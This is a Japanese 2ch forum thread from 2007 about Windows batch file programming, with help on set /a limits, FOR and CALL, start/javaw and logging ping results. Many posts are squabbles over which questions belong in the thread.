791デフォルトの名無しさん:2007/03/23(金) 21:51:48
来るもの拒まずの精神
792デフォルトの名無しさん:2007/03/23(金) 21:55:02
「スレ違い」という言葉を嘘と見抜けないようではこのスレでやっていけない。
793デフォルトの名無しさん:2007/03/23(金) 21:56:12
大目に見よう
794デフォルトの名無しさん:2007/03/23(金) 22:41:02
これは流石にな…
バッチスレの範疇ってお前らどこまでだと思う?
795デフォルトの名無しさん:2007/03/23(金) 22:43:19
バッチスレの範疇がどこまでかは知らないけど
このスレの範疇は「ファイル拡張子が ".bat"」なのでよろしく。
796デフォルトの名無しさん:2007/03/23(金) 22:48:34
バッチファイルプログラミング 3.bat
となってるけどプログラミングが何かわかってない馬鹿が立てたんだな
797デフォルトの名無しさん:2007/03/23(金) 22:57:12
796は馬鹿
798デフォルトの名無しさん:2007/03/24(土) 04:23:48
>>1-1000
スレ違い
799デフォルトの名無しさん:2007/03/24(土) 07:47:55
つか嵐だろただの。基地外基準にして範疇を語るなと。
800デフォルトの名無しさん:2007/03/24(土) 07:54:53
\(^o^)/800
801デフォルトの名無しさん:2007/03/26(月) 00:13:59
質問させてください。
バッチは、10桁の数値だと正しく計算出来ないんでしょうか。
以下を実行すると、Cが1073741823になります。

set a=9000000000
set b=2
set /a c=a/b
@echo %c%

環境はwinxpです。10桁の計算になると何か制限等があるのでしょうか。
802デフォルトの名無しさん:2007/03/26(月) 00:23:08
2147483647より大きい数は2147483647と見なす仕様
803デフォルトの名無しさん:2007/03/26(月) 00:25:10
>>802
即レスサンクスです
知らなかったよ〜空がこんなにあおーいなんて
804デフォルトの名無しさん:2007/03/26(月) 12:45:43
>>1-1000
すれちがい…
805デフォルトの名無しさん:2007/03/26(月) 16:15:26
>>803
ちなみに16進数に変換すると歯切れの良い数-1になります。
806デフォルトの名無しさん:2007/03/26(月) 16:20:09
スレタイが良くない。
バッチリファイルプログラミングにするべき。
807デフォルトの名無しさん:2007/03/26(月) 16:36:39
プログラム板とは思えない低レベルな展開
808デフォルトの名無しさん:2007/03/27(火) 13:55:49
バッチ処理なんてダサイからな。
今時はリアルタイム処理で即時反映だし。

夜間バッチが動かないと金額がわからないなんて変化についていけないよ。
809デフォルトの名無しさん:2007/03/27(火) 14:39:32
ヴァー
rdコマンドで俺のappフォルダを消してしまった・・・
インストーラーを使わないソフトいろいろ入れてた
/qコマンドもつけてた
やけに時間がかかると思ったらたまたま使ってたソフトを消すところで使用中ですって出て気がついた
Janeも消えてたからいまいれなおしてきたよ
810デフォルトの名無しさん:2007/03/27(火) 15:28:50
削除はgb使ってごみ箱に移動しとけ
811デフォルトの名無しさん:2007/03/27(火) 18:12:00
>>809
俺も以前同じことしたw
サーバーのWindows再インストールするハメになって泣いたよ
マジ悲惨だった
全米が泣いた
812デフォルトの名無しさん:2007/03/27(火) 18:47:24
パソコン初心者
813デフォルトの名無しさん:2007/03/27(火) 18:51:40
'gb' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。
814デフォルトの名無しさん:2007/03/27(火) 18:56:42
ここはプログラムを作る人の板です
815デフォルトの名無しさん:2007/03/27(火) 18:57:57
パソコンやプログラムの使い方は板違いでスレ違い
816デフォルトの名無しさん:2007/03/27(火) 21:22:12
                          ,.}{.、
                         ,.:'ナホヤ:、
                       /´ ̄  ̄`:ヽ.
    j|                    /        :.\                j|
.   f .`i               /           :::::.`i               f .`i
   _}Ii.I{                |    _________..:::::::::::|                ,}I!I:{
   下了   ,人        ノ:い,.:ォ''緜;;絲;;絲;;綿`ぇy'.八.          人.   下了 
    | :|    }I i{     |i  / _;:Yf,,.-−―――−- ,iY_.::ヽ. ,l|.     }i I{   | :|
    ! ::!.   |:|    .iHh lれ|∩l|:┌三三三三三┐:|l∩|iう:l frti.    ! :|   | . ::|
   {-‐-}   |::!     l ̄├三三||: | |';';';';';_;;_';';';';';| | :||三三┤ ̄:i   |.:l   .{-‐-}
.    |  ::l   {‐ }     lr‐i | |f⌒i l|: | l';':'父乂父、';l | :|lf⌒i | | r‐i:|     {‐::}   .! :::l
   |  :::|.  | :l     || |.| l|  .l:||: | |i'乂:ri‐i:i:乂'i| | :|||  .l:l | l l:l    i :|   |  :::|
.  ├−┤  j,.. :!    .l ニ. ! !;:三:;l|: | ll;王;lエエl;王;ll | :|l;:三 :! !. ニ.:l    j :!.  ├:‐::┤
  |   ::|   | ::!     .|r‐i | lf⌒i ||: | |l:干:ri‐i:i:干:l| | :||f⌒i l | r‐i:|     | :|  |  .:::|
  _|   :::|_.l ..;:| __,l|__l | ||_.l:l|, ニ;l;王;lエエl;王;l;ニ ;|l|_.l:| | |__|:!__,l .;;r!';ミ;ヾ;'ゝヾ|_

                   マータハージマタカ
                 (7世紀前半 インド南西部)
817デフォルトの名無しさん:2007/03/27(火) 22:25:18
>>814
あなたは社会生活に支障でてませんか?
818デフォルトの名無しさん:2007/03/28(水) 05:23:18
削除ぐらいで再インストールって。バックアップ取っておくのは常識というか鉄則。
819デフォルトの名無しさん:2007/03/28(水) 11:18:23
「削除ぐらい」ってアンタw
例えばWINDOWSフォルダの一部を削除してしまっても問題ないとでも?
実業務での定期バックアップは復旧できる最低限のみしておくのが常識だろ
キミには常識がないな
820デフォルトの名無しさん:2007/03/28(水) 12:48:45
スルーで。
821デフォルトの名無しさん:2007/03/28(水) 13:20:25
つかプログラマがPowerUser常用すんな
822デフォルトの名無しさん:2007/03/28(水) 17:58:29
復旧に手間取るバックアップは意味がない。
業務ユーザならダウンタイム細小になる対策ぐらいしとけ。
823デフォルトの名無しさん:2007/03/30(金) 21:29:59
バッチなんかプログラマが使うものじゃないでしょ
情死すが片手間で使うもんだ
824デフォルトの名無しさん:2007/03/31(土) 15:10:52
バッチで済むところはバッチを使う。
825デフォルトの名無しさん:2007/03/31(土) 17:53:41
バッチグー
826デフォルトの名無しさん:2007/04/01(日) 15:34:41
(
echo aaa
echo bbb
)|hoge
だと、行末に空白が付いて"aaa "になる
空白が付かない書き方はないかな?
827デフォルトの名無しさん:2007/04/01(日) 17:17:40
ここはプログラミング専用です
基本的なことはwindows板へどうぞ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc11.2ch.net/test/read.cgi/win/1152544955/
828デフォルトの名無しさん:2007/04/01(日) 17:41:03
また病院を抜け出してきたのか....
829デフォルトの名無しさん:2007/04/01(日) 19:38:58
こういう障害は病院に行っても治療が困難らしい
830デフォルトの名無しさん:2007/04/02(月) 00:25:18
え?827はエイプリルフールだろ?
831デフォルトの名無しさん:2007/04/02(月) 00:35:15
>>826
括弧でくくると環境変数周りでも変な挙動があったような。
なのでなるべくgoto&ラベルにしちゃうよ。
forとかじゃ無理だけどさ。
832デフォルトの名無しさん:2007/04/03(火) 10:18:24
if exist %filename% (
  set hoge=1
  set piyo=2
)

こういう風に普通にカッコ使うけど、変な挙動ってナニ?
833デフォルトの名無しさん:2007/04/03(火) 10:55:37
エイプリルフール
834デフォルトの名無しさん:2007/04/03(火) 11:32:31
遅延展開やcall ラベルを知らんだけだろ
835デフォルトの名無しさん:2007/04/05(木) 23:50:39
バッチでアプリを起動して、そのアプリに引数を渡して
戻り値を取得とか出来んの?
836デフォルトの名無しさん:2007/04/05(木) 23:55:12
そういう風にアプリが出来ていれば出来るよ
837デフォルトの名無しさん:2007/04/06(金) 07:10:24
引数は普通に渡せるだろ。
戻り値はERRORLEVELで数値一つだけ取得できる。
あとはかなりずれるがforとかで標準出力を取得するくらいか。
838デフォルトの名無しさん:2007/04/11(水) 19:23:58
>>821
Administrator や PowerUsers 権限で作ったプログラムが Users 権限で動かなかったりしてな。
Vista では一般ユーザも気軽に昇格できるようになって楽になったけど。
839デフォルトの名無しさん:2007/04/11(水) 19:39:52
パソコンの使い方はスレ違いですよ
840デフォルトの名無しさん:2007/04/11(水) 19:42:19
Users 権限とかそういう話はwin板へ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc11.2ch.net/test/read.cgi/win/1152544955/
841デフォルトの名無しさん:2007/04/11(水) 20:26:22
おまえがスレ違い
1回削除食らってるだろ、おまえのレス。
今度はアク禁食らいたいのか?
842デフォルトの名無しさん:2007/04/11(水) 21:51:27
初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc11.2ch.net/test/read.cgi/win/1152544955/

>DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
>wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
>コマンドラインインタフェースに関するネタならなんでもOK。
843デフォルトの名無しさん:2007/04/11(水) 22:22:36
ちゃんと通院してるのかな
844デフォルトの名無しさん:2007/04/11(水) 23:07:04
いつになったらWSHにステップアップすべきでしょうか?
845デフォルトの名無しさん:2007/04/11(水) 23:47:48
そういうことを考え始めた時...












つまり、いまだ !!
846デフォルトの名無しさん:2007/04/12(木) 08:00:13
俺はWSHからバッチファイルへと逆行しちまったけどな。
847デフォルトの名無しさん:2007/04/12(木) 13:40:58
>846
俺も俺も
昔はwshやその他コマンドアプリの実行用に書くだけだったのに
バッチが意外と多機能なのに気付いてからは
バッチでゴリゴリ書くことが多くなった
848デフォルトの名無しさん:2007/04/12(木) 14:13:44
なぜPowerShellを使わないのか理解に苦しむな。
進歩を止めてしまったら人間終わりだぞ。
849デフォルトの名無しさん:2007/04/12(木) 15:56:48
インストーラ使わないとインストールできないShellなど糞。
自分のPCのみで使ったり、PowerShellをインストールして
いい環境ならかまわないが。

起動が重かったりWin2K以下で使えないのも困ったものだが
850デフォルトの名無しさん:2007/04/12(木) 17:51:35
javaスレから誘導されてきました。

windows2000を使っています。
javaでサーバプログラムを作成したのですが、
起動のときにコマンドプロンプトで
%JAVA_HOME%\bin\java.exe -server -classpath %CLASSPATH% MainClass
とやると、当たり前ですがコンソールが返ってきません。
%JAVA_HOME%\bin\javaw.exe -server -classpath %CLASSPATH% MainClass
とやると返ってくるのですが、
これをbatファイルに記述して、末尾に exit を追加。
これをダブルクリックしても自動でプロンプトが閉じてくれません。
このバッチファイルをダブルクリックで起動→プロンプト終了
とするにはどうすればいいのでしょうか?
851デフォルトの名無しさん:2007/04/12(木) 18:17:10
>>850
start %JAVA_HOME%\bin\javaw.exe -server -classpath %CLASSPATH% MainClass
852デフォルトの名無しさん:2007/04/12(木) 18:42:52
前者は
start java.exe だけど
後者は
バッチにする理由がある?ショートカットにすれば?
あとバッチの末尾にexitは不要
853デフォルトの名無しさん:2007/04/12(木) 18:46:28
バッチの使い方だったらこっちへ

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc11.2ch.net/test/read.cgi/win/1152544955/
854デフォルトの名無しさん:2007/04/12(木) 18:56:47
855デフォルトの名無しさん:2007/04/12(木) 19:30:55
誘導厨は頭のおかしい人なので無視してかまいませんよ
856デフォルトの名無しさん:2007/04/12(木) 19:35:36
そもそもバッチにする理由がある?
857デフォルトの名無しさん:2007/04/12(木) 20:59:44
>>851さん
>>852さん
ありがとうございます。
>>851さんので完全にうまくいったのですが、
start %JAVA_HOME%\bin\java.exe ごにょごよ
のほうは同様にコンソールが返ってきませんでした。
ショートカットではなくbatにしたのは、
CLASSPATHをbat内で宣言しているためです。
start javaw.exe と start java.exe は
認識の上では同様の動作だと思いますが、
結果が違うのはどうしてでしょうか?
858デフォルトの名無しさん:2007/04/12(木) 21:15:44
>>857
java.exeとjavaw.exeの違いについてはバッチの範疇じゃないが
多分ファイル名からして

java コマンドライン用
javaw GUI用

だろうと思うぞ。
859デフォルトの名無しさん:2007/04/12(木) 21:34:04
ここはバッチの使い方を教えるスレじゃない。
バッチでプログラムを作るスレ

その質問の内容だとwindows板にでも行った方がいい
860デフォルトの名無しさん:2007/04/12(木) 21:38:17
>>859
お前がwindows板に行ってればいいだろ。
861デフォルトの名無しさん:2007/04/12(木) 21:49:20
>start %JAVA_HOME%\bin\java.exe ごにょごよ
でも、そのコンソールは「返ってくる」だろ

>「認識の上では」
って英語で言って
「認識の下」もあるの?
862デフォルトの名無しさん:2007/04/12(木) 21:54:47
javaで作ったプログラムの動かし方の質問だろ
どこがプログラミングなんだ?
863デフォルトの名無しさん:2007/04/12(木) 21:58:04
なんで英語が出てくるんだろ(・〜・)
864デフォルトの名無しさん:2007/04/12(木) 22:01:40
>java コマンドライン用
コンソールアプリを起動して、その実行中にコンソールが開いていることに
文句つけてるのか?ひょっとして
865デフォルトの名無しさん:2007/04/12(木) 22:06:39
それプログラミングの質問ですか?
866846:2007/04/12(木) 22:15:00
>>847
俺もそんな感じ。PowerShellも齧ったけど、バッチファイルには遠く及ばない。

例えるとバッチファイルは perl みたいに言語に組み込まれてる正規表現で手軽に文字処理ができるのに対し、
WSHやPowerShellはライブラリを利用しない素のC言語でゴリゴリと文字処理を記述するようなもんだ。

残念なことに最初のとっつきにくさでもバッチファイルは perl に近いものがあるけど。
867デフォルトの名無しさん:2007/04/12(木) 22:20:32
> 例えるとバッチファイルは perl みたいに言語に組み込まれてる正規表現で手軽に
> 文字処理ができるのに対し、WSHやPowerShellはライブラリを利用しない素のC言語
> でゴリゴリと文字処理を記述するようなもんだ。

何を言いたいのかサパーリわからん。

たぶん wsh とかを使いこなせなかっただけなんだろうな...。
868846:2007/04/12(木) 22:27:36
>>867
JavaScript や VBScript は使いこなせてる自信はあるけど、
確かに WSH としては使いこなせてないのかもな。

でも、バッチファイルだとサクサクっと記述できる処理が
WSH や PowerShell だととっても面倒臭くなるのは事実だぞ。
869デフォルトの名無しさん:2007/04/12(木) 23:05:26
そりゃそういう処理もあるだろうと思うが、全てが
そうであるように書く奴はちょっと頭悪いと思う。
870デフォルトの名無しさん:2007/04/12(木) 23:13:36
>>869
WSHやPowerShellのほうができることの幅が広いのは認める。

だが、バッチファイルでできることの範囲内で、
WSHやPowerShellを使ったほうが簡単に書ける処理ってなんかあるのか?

あるとしてもそれがごく一部に過ぎないなら全てがそうであるように書くことになんら問題はないだろ。
なんにでも例外ってのはあるもんなんだから。
871デフォルトの名無しさん:2007/04/13(金) 15:18:40
バッチで出来ることには当然限りはあるし
式の評価をするなら確かにWSHのが上だと思うよ

ただ「文字列を指定ファイルの末尾に追加」
「ファイルのコピー」
みたいな凄く簡単なファイルアクセスで
いちいちオープン処理書かなくてよかったりとか
(もっともこの場合バッチ書く必要すらないがw)

「引数を評価した値を基にカレントディレクトリを変更する」とか
スクリプトだけではどうにもならんぞこれは

あと、簡単な計算式ならWSHよりperlやrubyに頼むかな
WSHの出番はWSHでないとやりづらい処理の時か。
っつーてもActivePerlもあるからやはり出番がないんだが。
872デフォルトの名無しさん:2007/04/13(金) 20:16:08
バッチでは汎用の文字列処理は避けるよ
"^<>|&%!;=,なんかが入っていたら面倒だもの
873デフォルトの名無しさん:2007/04/13(金) 20:36:33
Win、UNIXに限らずなんでシェルスクリプトって変態構文ばっかなんだ
if

fi
とかもうアホかと
もうちょっとオサレなの作ってくれよ
874デフォルトの名無しさん:2007/04/13(金) 21:00:14
>>873
で、 ps はどうよ?
875デフォルトの名無しさん:2007/04/13(金) 22:53:19
>>846=>868, >>870

a) WSH や PowerShell だととっても面倒臭くなるのは事実だぞ。
=> WSH / PowerShell はバッチより (とっても) 面倒くさい。

b) WSHやPowerShellを使ったほうが簡単に書ける処理ってなんかあるのか?
=> WSH / PowerShell はバッチより (ちょっとだけかもしれないけど) 面倒くさい。

a と b じゃ、意味が違うけど、ごまかしモード突入で FA ?
876デフォルトの名無しさん:2007/04/13(金) 23:06:05
そろそろ病人が来るかな
877デフォルトの名無しさん:2007/04/13(金) 23:31:52
あまり来ないと病気じゃないかと心配になるな
878デフォルトの名無しさん:2007/04/13(金) 23:34:48
病気の調子が悪い日もあるさ
879デフォルトの名無しさん:2007/04/13(金) 23:45:52
早く元気になってね
880デフォルトの名無しさん:2007/04/14(土) 00:05:11
>>253

@ECHO OFF
(REN "%~f0" "%~nx0.wsf"
CScript.exe //NoLogo "%~f0.wsf" %*
REN "%~f0.wsf" "%~nx0"
GOTO :EOF
)
<job>
<script language="vbscript">
WScript.Echo "俺はCScript専用だぜゴルァ"
</script>
</job>
881デフォルトの名無しさん:2007/04/14(土) 16:14:53
>>880に反応しないところを見ると病状重そうだな
882デフォルトの名無しさん:2007/04/16(月) 17:15:38
883デフォルトの名無しさん:2007/04/17(火) 12:06:27
>>1-1000
だからスレ違いだよ。
他のスレでやれ。
884デフォルトの名無しさん:2007/04/17(火) 12:36:55
>>883
自分さえも否定している件
885デフォルトの名無しさん:2007/04/19(木) 22:18:33
%%
http://live24.2ch.net/test/read.cgi/liveradio/1176988576/


実況版で糞スレ立てて来た
どうやらスレタイに%は使用できる模様
次スレは↓で

バッチファイルプログラミング %4%
886デフォルトの名無しさん:2007/04/20(金) 03:56:03
過疎化の匂いがするw
887デフォルトの名無しさん:2007/04/20(金) 07:37:17
だがそれがいい
888デフォルトの名無しさん:2007/04/20(金) 20:13:48
:hage
goto hage
889デフォルトの名無しさん:2007/04/20(金) 20:24:25
後藤は禿なのか
890デフォルトの名無しさん:2007/04/21(土) 02:19:38
>>888-889
goto :初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
891デフォルトの名無しさん:2007/04/21(土) 02:38:33
指定されたバッチ ラベルが見つかりません - 初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
892デフォルトの名無しさん:2007/04/21(土) 02:47:41
:hage
call hage
893デフォルトの名無しさん:2007/04/21(土) 15:42:21
'hage' は、内部コマンドまたは外部コマンド、
操作可能なプログラムまたはバッチ ファイルとして認識されていません。
894デフォルトの名無しさん:2007/04/21(土) 20:15:34
>885
%4 じゃね?
%4% だと %4の内容 + % に解釈されそ
895デフォルトの名無しさん:2007/04/21(土) 22:19:17
:hage
call call call call :hage
896デフォルトの名無しさん:2007/04/21(土) 22:34:20
help hage
897デフォルトの名無しさん:2007/04/21(土) 22:39:16
C:\> help hage
無理

C:\>
898デフォルトの名無しさん:2007/04/21(土) 22:40:06
つまらん奴らが常駐し取るな
899デフォルトの名無しさん:2007/04/21(土) 22:53:57
自己紹介は結構ですよ。
900デフォルトの名無しさん:2007/04/22(日) 17:25:15
900
901デフォルトの名無しさん:2007/04/23(月) 21:54:32
質問です。

PING を使って 反応があったらテキストに書き出し

ということは可能でしょうか?
それとも、不可能で結果を全部テキストに出力して自分で判断するしかないでしょうか?
902デフォルトの名無しさん:2007/04/23(月) 21:57:41
厳密じゃねーけど
ping || goto skip
ping >> log.txt
:skip
903デフォルトの名無しさん:2007/04/23(月) 22:00:29
ユーザー必読!コマンドライン(DOS Pt.6)
http://pc11.2ch.net/test/read.cgi/win/1176558776/

904デフォルトの名無しさん:2007/04/23(月) 22:00:57
>>903
病気の調子はいいのか?
905デフォルトの名無しさん:2007/04/23(月) 22:36:28
闘病中だろw
906デフォルトの名無しさん:2007/04/23(月) 22:57:28
>902
ありがとうございます。
コマンドプロンプトなんてほとんど知らない身なのでとても助かります。

調べる箇所が複数あるので

ping 192.168.xxx.xx1 || goto skip
ping 192.168.xxx.xx1 >>log.txt
:skip
ping 192.168.xxx.xx2 || goto skip
ping 192.168.xxx.xx2 >>log.txt
:skip


みたいに繋げていけば良いですかね?
907デフォルトの名無しさん:2007/04/23(月) 23:03:24
>>901
:loop
ping xxx.xxx.xxx.xxx | findstr "Replay from" >> log.txt
goto loop
908デフォルトの名無しさん:2007/04/23(月) 23:07:17
板違い
そういうのはプログラミングとは言わない
909デフォルトの名無しさん:2007/04/23(月) 23:09:21
>>908
今日の頭の具合は大丈夫なのか?
910デフォルトの名無しさん:2007/04/23(月) 23:10:15
Replyだけ抜いても意味ふめじゃね

for %i in (1 2 3 4) do ping 192.168.0.%i && echo 192.168.0.%i Succ >> log.txt
911デフォルトの名無しさん:2007/04/23(月) 23:16:47
プログラミングしたいというより
バッチかなんか使って目的のことをやりたいだけだろ?
だったらこっちへ行け↓

ユーザー必読!コマンドライン(DOS Pt.6)
http://pc11.2ch.net/test/read.cgi/win/1176558776/
912デフォルトの名無しさん:2007/04/23(月) 23:19:54
これは狼少年みたいなものだよな
913デフォルトの名無しさん:2007/04/23(月) 23:23:49
>902のやつを2つ並べてただけでプログラミングですか?
>906は頭大丈夫ですか?
914デフォルトの名無しさん:2007/04/23(月) 23:43:05
病院はもう消灯時間過ぎてるんじゃないのか?
早く寝たほうが体にいいぞ。
915デフォルトの名無しさん:2007/04/24(火) 00:20:27
誰かバッチでアクションゲーム作ってくれない?
916デフォルトの名無しさん:2007/04/24(火) 01:05:56
昔ライツアウトもどき作ったな
917デフォルトの名無しさん:2007/04/24(火) 01:23:06
>>895を応用してみた

set aaa=bbb
set bbb=ccc
set ccc=ddd

call call echo %%%%%%%aaa%%%%%%%
918デフォルトの名無しさん:2007/04/26(木) 19:59:31
>>http://pc11.2ch.net/test/read.cgi/win/1155040873/686
del %*
或いは
cmd.exe /c del
というショートカットを作って最小化
WSHより簡単だ
919デフォルトの名無しさん:2007/04/26(木) 20:47:34
文字コード順でなく、数字順のソートはどうやればいいでしょうか?
920デフォルトの名無しさん:2007/04/26(木) 21:16:00
そういう外部プログラムを探すか自分で作る
921デフォルトの名無しさん:2007/04/27(金) 10:47:16
>>919
Unixのsortにはその機能があるから、どっかから探してくればOK。
922デフォルトの名無しさん:2007/04/27(金) 16:07:17
>>919
バッチファイルか、WSHで作ればOK。
923デフォルトの名無しさん:2007/04/29(日) 21:33:43
バッチの中でDoskeyマクロは使えないの?
924デフォルトの名無しさん:2007/04/29(日) 21:39:00
>923 プログラミング以前の質問はこっちへ

ユーザー必読!コマンドライン(DOS Pt.6)
http://pc11.2ch.net/test/read.cgi/win/1176558776/
925デフォルトの名無しさん:2007/04/29(日) 21:54:51
まだ入院してなきゃ駄目だぞ
926デフォルトの名無しさん:2007/04/29(日) 22:10:53
いやいや
お前ら、wsh使ってますか? part6
の病人に比べれば健康そのもの
あっちにも出掛けて行って、病人を誘導してあげて
927デフォルトの名無しさん:2007/04/29(日) 23:51:03
GWだから監視の目を盗んで脱走してきたんだろw
928デフォルトの名無しさん:2007/05/01(火) 19:31:49
cscriptに対するwscriptのように窓を一瞬たりとも開かないようにして
batを実行するのってどうやるの?
929デフォルトの名無しさん:2007/05/01(火) 19:44:25
>928 それはwindowsの話だからこっちへ

ユーザー必読!コマンドライン(DOS Pt.6)
http://pc11.2ch.net/test/read.cgi/win/1176558776/
930デフォルトの名無しさん:2007/05/01(火) 19:45:45
931デフォルトの名無しさん:2007/05/01(火) 20:01:19
>>929
病院行けよ
932デフォルトの名無しさん:2007/05/01(火) 20:06:59
>>928
batでなくwscriptでやったほうがいい
933デフォルトの名無しさん:2007/05/01(火) 20:18:29
さすがにもう病人の誘導に釣られるやつはいないよな
934デフォルトの名無しさん:2007/05/01(火) 21:10:27
>>928
そういうことをしたい場合はbatを使わないというのが正しい選択なわけで。
一応外部Wrapperで、それにbatを関連付けすれば窓出さずに実行出来るってものもあるけどね。
935デフォルトの名無しさん:2007/05/01(火) 21:15:28
936デフォルトの名無しさん:2007/05/01(火) 21:58:15
なるほど。Python, Rubyに倣ってcmdwにしてみた。comspecの展開はパスしちゃったけど。
ありがとう。
program cmdw;
uses Windows;
{$R *.res}
begin
    WinExec(PChar('cmd.exe ' + GetCommandLine), SW_HIDE);
end.
937デフォルトの名無しさん:2007/05/01(火) 22:12:19
スレ違い
938デフォルトの名無しさん:2007/05/01(火) 22:13:48
もうスレ違いの区別ができねぇくらいgdgdだな
939デフォルトの名無しさん:2007/05/01(火) 22:18:18
非表示で実行しちゃって表示に戻したいときの方法分ってんのか?
940デフォルトの名無しさん:2007/05/02(水) 00:53:44
そういう外部プログラムを探すか自分で作る
941デフォルトの名無しさん:2007/05/02(水) 07:52:28
CALL main.bat %*
だと引数の入力面倒なんで
FOR %%a IN (*.avi) DO CALL main.bat %%a
にしたらバッチがうまく動かなくなったんですけど
この二つのどの辺に違いあるんでしょうか?
FOR %%a IN (*.avi) DO CALL main.bat %%~dpnxa
にしてみてもだめでした・・・
どちらもカレントディレクトリは引数にするファイルを同じフォルダです
942デフォルトの名無しさん:2007/05/02(水) 09:30:00
最後の一文が気になるが、main.batと指定する引数を晒せば
一発で解決する
943デフォルトの名無しさん:2007/05/02(水) 14:01:14
>941 初心者向けのスレはこっちですよ

ユーザー必読!コマンドライン(DOS Pt.6)
http://pc11.2ch.net/test/read.cgi/win/1176558776/
944デフォルトの名無しさん:2007/05/02(水) 18:05:42
全て同じディレクトリにいれコマンドラインから
前者の時は
hoge.bat *.avi
後者の時は
hoge.bat
としてます
main.batは
引数のドライブとパス名から作業フォルダを作りエンコ作業をするというものです
エンコ時は引数は絶対パスで指定してます

これだと情報が不十分ならろだにファイルあげるんでよろしくお願いします
945デフォルトの名無しさん:2007/05/02(水) 18:09:00
エロイの火
946デフォルトの名無しさん:2007/05/02(水) 18:18:34
初心者じゃないけどFOR使ったことないからわかる気がしない
947デフォルトの名無しさん:2007/05/02(水) 18:33:26
echo onにしてデバグ汁
948デフォルトの名無しさん:2007/05/02(水) 18:53:11
少なくともプログラミングの話じゃないな
パソコンの使い方を教えれということか
949デフォルトの名無しさん:2007/05/02(水) 19:07:47
>>948
ちゃんと療養に専念しなさい
950デフォルトの名無しさん:2007/05/02(水) 19:12:57
>>946
今はバッチ使わなくても色々やる方法があるから
覚えようとする気にならなくてもいいよね。
951デフォルトの名無しさん:2007/05/02(水) 21:13:53
952デフォルトの名無しさん:2007/05/02(水) 22:21:46
>>941
>FOR %%a IN (*.avi) DO CALL main.bat %%a

FOR %%a IN (*.avi) DO cmd /c main.bat %%a
953デフォルトの名無しさん:2007/05/02(水) 22:35:01
そんなのまでプログラミングの範疇に入るの?
954デフォルトの名無しさん:2007/05/02(水) 22:38:44
明らかに入る
955デフォルトの名無しさん:2007/05/03(木) 03:41:46
>>953は入らない
956デフォルトの名無しさん:2007/05/03(木) 06:46:35
いのちくれない by 瀬川英子
957デフォルトの名無しさん:2007/05/03(木) 10:11:02
>>955は明らかに障害者
958デフォルトの名無しさん:2007/05/03(木) 16:35:28
アスペルガーか何かの人にとってはとても居心地のいいスレらしいね
959デフォルトの名無しさん:2007/05/03(木) 19:54:00
フロリダ ポインティッド ガー
960デフォルトの名無しさん:2007/05/03(木) 20:14:59
スレ違いと言うのが快感なんです
961デフォルトの名無しさん:2007/05/03(木) 23:35:54
もうすぐ1000ですね
962デフォルトの名無しさん:2007/05/04(金) 13:01:44
まずは999を取らないと・・・
963デフォルトの名無しさん:2007/05/04(金) 17:31:52
ところでおまいら
C:\WINDOWS\Help\ntcmds.chm
に単体のヘルプがあるって知ってたか?
964デフォルトの名無しさん:2007/05/04(金) 17:45:03
>>963
「このヘルプ ファイルには、Windows 2000 のメイン ヘルプに統合されるトピックが含まれています。参照用のヘルプ ファイルではありません。機能の概要と特定のタスクのヘルプは、[スタート]ボタンをクリックし、[ヘルプ]をクリックしてください。」
965デフォルトの名無しさん:2007/05/04(金) 17:56:52
>>963
そんなのないよ。vistaだから?
966デフォルトの名無しさん:2007/05/04(金) 18:14:15
XP以降っぽいな
967デフォルトの名無しさん:2007/05/04(金) 18:42:25
hh ntcmds.chm::/ntcmds.htm
968デフォルトの名無しさん:2007/05/04(金) 19:17:21
start helpctr.exe /URL ms-its:ntcmds.chm::/ntcmds_o.htm
969デフォルトの名無しさん:2007/05/04(金) 21:32:21
病人のおかげでスレの伸びが割りと速かった
970デフォルトの名無しさん:2007/05/04(金) 21:46:26
厳密な意味での次スレは立てませんので
スレ違いといいまくってた方は、どうぞ
安心して療養に専念してください。
971デフォルトの名無しさん:2007/05/04(金) 22:02:05
糞スレ立てんな
972デフォルトの名無しさん:2007/05/05(土) 00:46:48
病気の人とももうすぐお別れだね(´・ω・`)
973デフォルトの名無しさん:2007/05/05(土) 00:52:00
カレントフォルダにコピーはどうやってするんでしょうか?
974デフォルトの名無しさん:2007/05/05(土) 00:55:14
>>973
ファイル名がそのままでいいなら

copy コピー元ファイルのパス
975デフォルトの名無しさん:2007/05/05(土) 00:58:55
>>973は病人が釣れそうな質問ですね
976デフォルトの名無しさん:2007/05/05(土) 02:09:18
>>974
ありがとうございます
できました
977デフォルトの名無しさん:2007/05/05(土) 10:06:17
次スレらしい
【.cmd】 バッチファイルスクリプト %1 【.bat】
http://pc11.2ch.net/test/read.cgi/tech/1178281991/
978デフォルトの名無しさん:2007/05/05(土) 10:31:57
次スレらしい
【.cmd】 バッチファイルスクリプト %1 【.bat】
http://pc11.2ch.net/test/read.cgi/tech/1174780036/
979デフォルトの名無しさん:2007/05/05(土) 10:33:39
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/tech/1148485555/
980デフォルトの名無しさん:2007/05/05(土) 10:34:57
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/win/1176558776/
981デフォルトの名無しさん:2007/05/05(土) 10:38:06
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/tech/1176698934/
982デフォルトの名無しさん:2007/05/05(土) 10:38:52
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/tech/1163818863/
983デフォルトの名無しさん:2007/05/05(土) 10:40:24
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/tech/1124559962/
984デフォルトの名無しさん:2007/05/05(土) 10:41:27
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/win/1176558776/
985デフォルトの名無しさん:2007/05/05(土) 10:42:30
次スレらしい
バッチファイルプログラミング 4.bat
http://pc11.2ch.net/test/read.cgi/win/1025462258/
986デフォルトの名無しさん:2007/05/05(土) 10:55:00
ファイルの削除はどうやってするんでしょうか?
